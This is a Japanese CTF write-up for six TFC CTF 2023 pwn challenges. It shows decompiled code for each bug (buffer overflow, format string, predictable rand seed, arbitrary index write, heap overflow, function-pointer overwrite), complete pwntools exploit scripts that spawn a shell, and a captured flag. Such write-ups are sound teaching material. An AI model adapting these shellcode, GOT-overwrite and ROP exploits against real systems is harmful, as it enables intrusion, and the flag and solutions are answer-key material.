tfc-ctf-2023 writeup
Pwn-DIARY
シンプルなshellcode問です。
緩和機構は以下の通りに設定されていました。
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
vuln関数では以下のように、スタックで確保している以上にfgets関数による入力が可能なためBOFがあります。
0x000000000040114f <+0>: push rbp
0x0000000000401150 <+1>: mov rbp,rsp
0x0000000000401153 <+4>: sub rsp,0x100
-- snip --
0x000000000040129b <+332>: lea rax,[rbp-0x100]
0x00000000004012a2 <+339>: mov esi,0x400
0x00000000004012a7 <+344>: mov rdi,rax
0x00000000004012aa <+347>: call 0x401040 <fgets@plt>
また、helper関数にはjmp rspのガジェットがあるのでこれを利用します。
0x000000000040114a <+4>: jmp rsp
以下はソルバーです。
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
b *0x00000000004012b1
continue
'''.format(**locals())
exe = "./diary"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
io = start()
padding = 264
jmp_rsp = 0x000000000040114a
shellcode = asm(shellcraft.sh())
payload = flat(
asm("nop") * 264,
jmp_rsp,
asm("nop")*8,
shellcode,
)
io.sendlineafter(b"Dear diary...",payload)
io.interactive()
Pwn-SHELLO-WORLD
fsbの問題でした。
checksec
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000
逆コンパイル結果を確認すると以下の箇所にfsbがあります。
fgets((char *)&local_108,0x100,stdin);
printf("Hello, ");
printf((char *)&local_108);
また問題バイナリにはwin関数があり、vuln関数からmain関数にretした後exitされるので、
fsbを使ってexit@got.pltをwin関数に上書きすればクリアです。
以下ソルバーです。
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
b *0x4012fb
continue
'''.format(**locals())
exe = "./shello-world"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
io = start()
win = elf.sym["win"]
writes = {elf.got["exit"]: win}
payload = fmtstr_payload(6,writes)
io.sendline(payload)
io.interactive()
Pwn-RANDOM
seed値の設定不備を突く問題です。
逆コンパイル結果を確認します。
main.c
undefined8 main(void)
{
int iVar1;
time_t tVar2;
int i;
int j;
int cnt;
setup();
tVar2 = time((time_t *)0x0);
srand((uint)tVar2);
for (i = 0; i < 10; i = i + 1) {
iVar1 = rand();
*(int *)(v + (long)i * 4) = iVar1;
}
puts("Guess my numbers!");
for (j = 0; j < 10; j = j + 1) {
__isoc99_scanf(&DAT_0010201e,input + (long)j * 4);
}
cnt = 0;
while( true ) {
if (9 < cnt) {
win();
return 0;
}
if (*(int *)(v + (long)cnt * 4) != *(int *)(input + (long)cnt * 4)) break;
cnt = cnt + 1;
}
puts("You didn\'t make it :(");
/* WARNING: Subroutine does not return */
exit(0);
}
rand関数で出力した結果と入力した結果を比較し、trueならcntをインクリメントします。
cntが10以上ならwin関数がコールされます。
srand関数にtime関数の返り値を渡しているので同じタイミングでseedを設定し、rand関数で得た結果を入力すればクリアです。
以下ソルバーです。
※seed -1しているのはリモート環境での実行用に調整しているためです。
from pwn import *
import ctypes
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
b *main+27
b *main+217
continue
'''.format(**locals())
exe = "./random"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
libc = ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6")
rand_func = libc.rand
srand_func= libc.srand
io = start()
seed = int(time.time())
# remote
srand_func(seed-1)
rand_arr = []
for i in range(10):
rand_arr.append(rand_func())
io.recvuntil(b"Guess my numbers!")
for i in range(10):
io.sendline(str(rand_arr[i]).encode())
io.interactive()
Pwn-EASYROP
rop問です。
問題バイナリにはget_indexで指定したアドレスの4バイトをread、またはwriteできる機能があるため、これを利用してsaved ripをリークした後、onegadgetに上書きします。
main関数のsaved ripには__libc_start_call_main+128が設定されているためこれをリークすることでlibcのbaseアドレスを特定できます。
get_indexでは入力値 % 3=0 になるような値を渡すとexitされてしまいますが、幸運なことに上記の位置は問題ありませんでした。
逆コンパイル結果
void main(void)
{
undefined4 uVar1;
long lVar2;
undefined8 *puVar3;
long in_FS_OFFSET;
byte bVar4;
int select;
undefined4 local_210;
uint local_20c;
undefined8 local_208 [63];
long local_10;
bVar4 = 0;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
setup();
puVar3 = local_208;
for (lVar2 = 0x3e; lVar2 != 0; lVar2 = lVar2 + -1) {
*puVar3 = 0;
puVar3 = puVar3 + (ulong)bVar4 * -2 + 1;
}
*(undefined4 *)puVar3 = 0;
while( true ) {
while( true ) {
local_210 = 0;
local_20c = 0;
puts("Welcome to easyrop!");
puts("Press \'1\' to write and \'2\' to read!");
__isoc99_scanf(&%d,&select);
if (select != 1) break;
local_20c = get_index();
uVar1 = get_number();
*(undefined4 *)((long)local_208 + (ulong)local_20c * 4) = uVar1;
}
if (select != 2) break;
local_20c = get_index();
printf("The number at index %d is %x\n",(ulong)local_20c,
(ulong)*(uint *)((long)local_208 + (ulong)local_20c * 4));
}
puts("Bye :(");
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
uint get_index(void)
{
long in_FS_OFFSET;
uint local_14;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
fwrite("Select index: ",1,0xe,stdout);
__isoc99_scanf(&%d,&local_14);
if (local_14 % 3 == 0) {
puts("Nope! Can\'t give u that one!");
/* WARNING: Subroutine does not return */
exit(0);
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return local_14;
}
undefined4 get_number(void)
{
long in_FS_OFFSET;
undefined4 local_14;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
fwrite("Select number to write: ",1,0x18,stdout);
__isoc99_scanf(&%d,&local_14);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return local_14;
}
以下ソルバーです。
※rbpにbssのアドレスを入れているのは参照エラー回避のためです。
4バイトずつの書き込みのため分割して書き込みを行っています。
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
b *0x0000000000401444
b *0x0000000000401465
b *0x00000000004014be
continue
'''.format(**locals())
exe = "./easyrop"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
def write_mem(io,index,data):
io.sendlineafter(b"Press '1' to write and '2' to read!",b"1")
io.sendlineafter(b"index",index)
io.sendlineafter(b"number",data)
def convert_int_arr(data):
res = []
val_fd = hex(data)[:6]
val_bk = hex(data)[6:]
res.append(int(val_fd,16))
res.append(int(val_bk,16))
return res
io = start()
# index = 130 でstart_callの後半リーク
# index = 131 でstart_callの前半リーク
payload = b"2"
io.sendline(b"2")
io.sendlineafter(b"index","131")
io.recvuntil(b" is ")
libc_harf_fd = io.recvline()[:-1]
print(libc_harf_fd)
io.sendline(b"2")
io.sendlineafter(b"index",b"130")
io.recvuntil(b" is ")
libc_harf_bk = io.recvline()[:-1]
libc_base = int(libc_harf_fd + libc_harf_bk,16) -0x29d90
info("libc %#x" ,libc_base)
pop_rdi = libc_base + 0x000000000002a3e5 #: pop rdi; ret;
binsh = libc_base + 0x1d8698
system = libc_base + 0x50d60
ret =0x000000000040101a
info("system %#x" ,system)
info("binsh %#x" ,binsh)
one_gadget =libc_base+ 0x50a37 #0xebcf1 #0xebcf5 0xebcf8
one_gadget_arr = convert_int_arr(one_gadget)
write_mem(io,b"128",str(elf.bss(0x700)).encode())
write_mem(io,b"131",str(one_gadget_arr[0]).encode())
write_mem(io,b"130",str(one_gadget_arr[1]).encode())
io.interactive()
Pwn-NOTES
シンプルなheap overflowの問題でした。
問題バイナリとソースコードが配布されます。
note.c
#include <stdio.h>
#include <stdlib.h>
#define CONTENT_MAX (long long)256
#define NOTES_MAX 10
typedef struct _note_t {
char* content;
} note_t;
void win() {
system("/bin/sh");
}
void menu() {
printf(
"1. Add note\n"
"2. Edit note\n"
"3. View notes\n"
"0. Exit\n"
);
}
int get_index() {
printf("index> \n");
int index;
scanf("%d", &index);
getchar();
if (index < 0 || index > NOTES_MAX) {
return -1;
}
return index;
}
note_t* add() {
note_t* note = malloc(sizeof(note_t));
note->content = malloc(sizeof(CONTENT_MAX));
printf("content> \n");
fgets(note->content, sizeof(CONTENT_MAX), stdin);
return note;
}
void edit(note_t* note) {
printf("content> \n");
fgets(note->content, CONTENT_MAX, stdin);
}
void view(note_t* notes[]) {
for (int i = 0; i < NOTES_MAX; i += 1) {
printf("%d. ", i);
if (notes[i] == NULL) {
printf("<empty>\n");
} else {
printf("%s\n", notes[i]->content);
}
}
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
note_t* notes[10] = { 0 };
while (1) {
menu();
int input;
scanf("%d", &input);
switch (input) {
case 1: {
int index = get_index();
if (index == -1) {
break;
}
notes[index] = add();
break;
}
case 2: {
int index = get_index();
if (index == -1) {
break;
}
if (notes[index] == NULL) {
break;
}
edit(notes[index]);
break;
}
case 3:
view(notes);
break;
case 0:
exit(0);
break;
default:
break;
}
}
}
checksecするとno-canary,no-pie,partial RELROであることがわかります。
問題バイナリにはadd,edit,viewの機能があり、noteの追加/編集/参照が可能です。
add関数では2度malloc関数をコールし、note用のメモリとnote構造体のcontent用のメモリを確保します。
note_t* add() {
note_t* note = malloc(sizeof(note_t));
note->content = malloc(sizeof(CONTENT_MAX));
printf("content> \n");
fgets(note->content, sizeof(CONTENT_MAX), stdin);
またedit関数ではadd関数で作成したnoteのcontentに書き込みができますが、ここに脆弱性があります。
add関数ではmalloc(sizeif(CONTENT_MAX))でメモリ確保していますが、editではCONTENT_MAX分(256)の入力ができます。
fgets(note->content, CONTENT_MAX, stdin);
gdbで上記の処理を確認します。
add関数で index 1 ,content "junk"を入力するとheap領域は以下のようになっています。
note,contentともに0x20サイズのメモリが確保されています。
※malloc(0x8)でコールされているがchunkの最小サイズは0x20のため
noteのchunkにはcontentを示すアドレスがあり、contentのchunkには入力したjunkという文字列が入っています。
0x405290 0x0000000000000000 0x0000000000000021 ........!.......
0x4052a0 0x00000000004052c0 0x0000000000000000 .R@.............
0x4052b0 0x0000000000000000 0x0000000000000021 ........!.......
0x4052c0 0x0000000a6b6e756a 0x0000000000000000 junk............
次にedit関数を実行し、fgets関数をコールする処理にブレークさせてみます。
fgetsではnote_chunkのcontentを指すアドレスへ0x100分の入力ができることを確認できました。
(ソースコードの通りですが…)
► 0x401291 <edit+44> call fgets@plt <fgets@plt>
s: 0x4052c0 ◂— 0xa6b6e756a /* 'junk\n' */
n: 0x100
stream: 0x7ffff7fa1aa0 (_IO_2_1_stdin_) ◂— 0xfbad208b
上記の通り、問題バイナリにはheap overflowがあるのでこれを利用してexit.got.pltをwinに上書きします。
win関数をコールするまでの順序は以下の通りです。
- add機能でnoteを2つ作成する
- edit機能で1つ目のnoteを選択し、overflowで2つ目のnoteのcontentを示すアドレスをexit.got.pltに上書きする
- edit機能で2つ目のnoteを選択し、win関数のアドレスを入力する
以下ソルバーです。
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
b *edit+44
continue
'''.format(**locals())
exe = "./notes"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
win = elf.sym["win"]
exit_got = elf.got["exit"]
def menu(io,select):
io.sendlineafter(b"1. Add note",select)
def add_note(io,index,content):
menu(io,b"1")
io.sendlineafter(b"index",index)
io.sendlineafter(b"content",content)
def edit_note(io,index,content):
menu(io,b"2")
io.sendlineafter(b"index",index)
io.sendlineafter(b"conten",content)
def exit(io):
menu(io,b"0")
io = start()
add_note(io,b"1",b"junk")
add_note(io,b"2",b"junk")
payload = flat(
b"a" *16 ,
b"\x00"*8,b"\x21",b"\x00"*7,
exit_got
)
edit_note(io,b"1",payload)
edit_note(io,b"2",p64(win))
exit(io)
io.interactive()
PWN-PWN;GATE
とあるアニメを題材にした問題でした。
問題バイナリとlibcが配布されます。
問題バイナリを実行するとnameを入力したあと、1-5までの入力した数値に応じた機能を実行できます。
入力した値はtimeline構造体(多分)のメンバに保存されます。
timeline構造体は文字列(0x1c)と関数ポインタ(0x8)を持っています。
$ ./pwngate
Your current timeline is horrible.
In order to reach the Pwn;Gate you are ready to sacrifice everything...
Enter your name: makise
What are you going to do?
-------------------------
[1] Try to change the timeline
[2] Time leap
[3] Ensure your sanity
[4] Remember who you are
[5] Exit
-------------------------
Enter choice:
以下はそれぞれの数値を入力した際の挙動です。
1: divergence_meter関数はを実行
2: timeleap関数を実行
3: leavingの値が0でなければsanity関数を実行
4: game_checkの値が0でなければokabe関数を実行
5: Exit
divergence_meter関数
void divergence_meter(void)
{
size_t input_length;
ulong cnt_j;
undefined8 input_buf;
undefined4 local_27;
undefined2 local_23;
undefined local_21;
int j;
int i;
input_buf = 0;
local_27 = 0;
local_23 = 0;
local_21 = 0;
printf("Choose where to leap: ");
fgets((char *)&input_buf,0xf,stdin);
i = 0;
j = 0;
do {
cnt_j = (ulong)j;
input_length = strlen((char *)&input_buf);
if (input_length <= cnt_j) {
return;
}
if (*(char *)((long)&input_buf + (long)j) != 'g') {
if ((*(char *)((long)&input_buf + (long)j) == 'o') && (i != 0)) {
i = youdidwhat(i);
}
else {
*(undefined *)((long)&timeline.field2_0x10 + (long)i) =
*(undefined *)((long)&input_buf + (long)j);
i = i + 1;
}
if (8 < i) {
return;
}
}
j = j + 1;
} while( true );
}
timeleap関数
void timeleap(void)
{
puts("You\'ve pressed the button... be ready for the leap!");
sleep(0);
(*timeline.timeline_func)();
return;
}
sanity関数
void sanity(void)
{
int iVar1;
undefined4 select_input;
undefined local_e9;
char local_e8 [50];
char input_buf [50];
char local_84 [50];
char local_52 [54];
int select_num;
int j;
int i;
int local_10;
uint score;
puts("\nI don\'t recognize you, answer some questions first.");
sleep(1);
score = 0;
local_10 = 0;
while( true ) {
while( true ) {
puts("------------------------------");
puts("[1] Answer my questions");
puts("[2] Show your answers");
puts("[3] See your score");
puts("[4] Return");
puts("------------------------------");
printf("Choose: ");
select_input = 0;
local_e9 = 0;
fgets((char *)&select_input,5,stdin);
select_num = atoi((char *)&select_input);
if (select_num != 1) break;
for (i = 0; i < 2; i = i + 1) {
memset(local_e8 + (long)i * 0x32,0,0x32);
}
puts("What is written on the Lab Members badge?");
fgets(local_e8,0x32,stdin);
iVar1 = strcmp(local_e8,"OSHMKUFA 2010");
if (iVar1 != 0) {
score = score + 1;
}
puts("What is the name of Okabe\'s Laboratory?");
fgets(input_buf,0x32,stdin);
iVar1 = strcmp(input_buf,"Future Gagdet Laboratory");
if (iVar1 != 0) {
score = score + 1;
}
puts("What is Mayuri\'s favorite hobby?");
fgets(local_84,0x32,stdin);
iVar1 = strcmp(local_84,"Cosplay");
if (iVar1 != 0) {
score = score + 1;
}
puts("Is Ruka a boy or girl?");
fgets(local_52,0x32,stdin);
iVar1 = strcmp(local_52,"It depends on the timeline");
if (iVar1 != 0) {
score = score + 1;
}
game_check = 1;
puts("I think l remember you a bit now...");
}
if ((select_num == 2) && (local_10 != 1)) break;
if (select_num == 3) {
local_10 = 1;
printf("Your score is: %d \n",(ulong)score);
}
else {
if ((select_num != 2) || (local_10 != 1)) {
return;
}
puts("These are your answers: ");
for (j = 0; j < 4; j = j + 1) {
puts(local_e8 + (long)j * 0x32);
}
}
}
puts("You didn\'t even start the game...");
/* WARNING: Subroutine does not return */
exit(0);
}
okabe関数
void okabe(void)
{
int bool_strcmp;
char input_buf [12];
undefined local_1c;
puts("What\'s the password?");
fgets(input_buf,0x14,stdin);
local_1c = 0;
bool_strcmp = strcmp(&gl_password,input_buf);
if (bool_strcmp != 0) {
puts("That\'s wrong.");
/* WARNING: Subroutine does not return */
exit(0);
}
printf("Do you still remember who you are?: ");
fgets((char *)&timeline,0x20,stdin);
return;
}
whereami関数
void whereami(void)
{
ulong input_num;
puts("Stress levels are too high.. I\'m sure you want to take a break");
puts("--------------------------------------------------------------");
puts("[1] Exit");
puts("[2] Exit");
puts("[3] Exit");
puts("........");
puts("[124512] Exit");
puts("--------------------------------------------------------------");
printf("Choose what to do: ");
__isoc99_scanf(&%1d,&input_num);
if (input_num == 0) {
puts("I dont like that number");
/* WARNING: Subroutine does not return */
exit(0);
}
verify_number(input_num & 0xffffffff);
return;
}
verify_number関数
void verify_number(int param_1)
{
if (param_1 == 0) {
puts("Why didn\'t you give up?");
print_current_password();
return;
}
puts("Bye");
/* WARNING: Subroutine does not return */
exit(0);
}
timeline->funcにはバイナリ実行時にコールされるcurrent_leapという関数でfate関数が設定されます。
またcurrent_leap関数ではpassword関数がコールされており、この関数ではrand関数の返り値をグローバル変数に保存します。
fate関数は文字列を出力するだけの関数です。
攻略の順序は以下の通りです。
- divergence_meter関数でtimeline-funcに設定されているfate関数下位1バイトを上書きしてnew_fate関数を設定する
- timeleap関数を実行、new_fate関数を実行される
- new_fate関数からwhereami関数がコールされるので、入力値 & 0xffffffff=0になるような値を入力する
- print_current_password関数がコールされ、levelingに1が設定された後passwordが出力される
- sanity関数を実行する
- sanity関数で3→2の順に入力する
- 問題バイナリのアドレスをリークできるのでこのアドレスからpie_baseを特定する
- sanity関数で1を入力する
- okabe関数を実行する
- timeline->funcに任意のアドレスを書き込めるのでwin関数の開始アドレスを設定する
- timeleap関数を実行する
- shellが取れる
以下ソルバーです。
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
def menu(io,select):
io.sendline(select)
def divergence_meter(io,data):
menu(io,b"1")
io.sendlineafter(b"Choose where to leap:",data)
def time_leep(io):
menu(io,b"2")
def sanity(io):
menu(io,b"3")
def sanity_menu(io,select):
io.sendlineafter(b"Answer my questions",select)
def sanity_answer(io):
sanity_menu(io,b"1")
io.sendlineafter(b"What is written on the Lab Members badge?",b"OSHMKUFA 2010")
io.sendlineafter(b"What is the name of Okabe's Laboratory?",b"Future Gagdet Laboratory")
io.sendlineafter(b"What is Mayuri's favorite hobby?",b"Cosplay")
io.sendlineafter(b"Is Ruka a boy or girl?",b"It depends on the timeline")
def sanity_score(io):
sanity_menu(io,b"3")
def sanity_show_ans(io):
sanity_menu(io,b"2")
def sanity_ret(io):
sanity_menu(io,b"4")
def okabe(io,password,data):
menu(io,b"4")
io.sendlineafter(b"What's the password?",password)
io.sendlineafter(b"Do you still remember who you are?:",data)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
b *sanity+724
b *okabe
continue
'''.format(**locals())
exe = "./pwngate"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
win = elf.sym["win"]
exit_got = elf.got["exit"]
io = start()
io.sendlineafter(b"Enter your name:" ,b"test")
divergence_meter(io,b"a"*8 + b"\xec")
time_leep(io)
io.sendlineafter(b"Stress levels are too high.. I'm sure you want to take a break",b"-4294967296")
io.recvuntil(b"You aren't sane anymore... Your password is: \n")
password = io.recvline()[:-1]
print(password)
sanity(io)
sanity_score(io)
sanity_show_ans(io)
io.recvuntil(b"These are your answers: \n")
pie_base = u64(io.recvline()[:-1] + b"\x00"*2) - 0x3d48
info("%#x",pie_base)
elf.address = pie_base
sanity_answer(io)
sanity_ret(io)
win = p64(elf.sym["win"])
payload = flat(
b"a"*24,
win
)
okabe(io,password,payload)
time_leep(io)
io.interactive()
# TFCCTF{4cc3pt_wh4t_y0u_h4v3_s33n!}
Discussion